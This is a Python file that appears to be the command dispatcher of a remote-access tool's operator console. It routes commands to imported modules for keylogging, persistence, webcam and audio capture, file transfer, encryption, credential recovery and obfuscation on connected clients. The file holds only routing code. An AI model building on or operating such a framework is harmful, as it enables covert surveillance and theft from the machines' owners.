blob: 4669fa8aff4d8c8b698200c58722824281847fa2 (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
|
from domestic.session.server_handling.persistence import *
from domestic.session.server_handling.interpreter import *
from domestic.session.server_handling.messagebox import *
from domestic.session.server_handling.keylogger import *
from domestic.session.server_handling.keystroke import *
from domestic.session.server_handling.obfuscate import *
from domestic.session.server_handling.download import *
from domestic.session.server_handling.encrypt import *
from domestic.session.server_handling.recover import *
from domestic.session.server_handling.website import *
from domestic.session.server_handling.upload import *
from domestic.session.server_handling.system import *
from domestic.session.server_handling.image import *
from domestic.session.server_handling.cd import *
from domestic.session.session_message import *
from domestic.globally.exit_program import *
from domestic.globally.clear_screen import *
from domestic.session.enter_session import *
from domestic.session.exit_session import *
from domestic.shell.list_clients import *
from domestic.globally.get_help import *
from domestic.globally.sockets import *
from domestic.globally.options import *
from domestic.modules.stream import *
from domestic.modules.audio import *
from domestic.modules.talk import *
from domestic.global_state import *
from domestic.shell.server import *
from domestic.shell.delete import *
from domestic.shell.stdout import *
from domestic.modules.cam import *
def command_validation(message):
low_message = message['message'].lower()
if low_message == 'help':
get_help()
elif low_message == 'exit':
exit_program()
elif low_message == 'clear':
clear_screen()
elif low_message == 'sockets':
sockets()
elif low_message == 'options':
options(message)
elif low_message == 'stream':
stream(message)
elif low_message == 'cam':
cam(message)
elif low_message == 'audio':
audio(message)
elif low_message == 'talk':
talk(message)
elif state['session']['active']:
if low_message == 'break':
exit_session()
elif low_message == 'cd':
cd(message)
elif low_message == 'image':
image(message)
elif low_message == 'upload':
upload(message)
elif low_message == 'download':
download(message)
elif low_message == 'encrypt':
encrypt(message)
elif low_message == 'interpreter':
interpreter(message)
elif low_message == 'keylogger':
keylogger(message)
elif low_message == 'keystroke':
keystroke(message)
elif low_message == 'persistence':
persistence(message)
elif low_message == 'system':
system(message)
elif low_message == 'recover':
recover(message)
elif low_message == 'obfuscate':
obfuscate(message)
elif low_message == 'website':
website(message)
elif low_message == 'messagebox':
messagebox(message)
else:
session_message(message)
else:
if low_message == 'list':
list_clients()
elif low_message == 'server':
server(message)
elif low_message == 'delete':
delete(message)
elif low_message == 'session':
enter_session(message)
else:
stdout(low_message, message)
|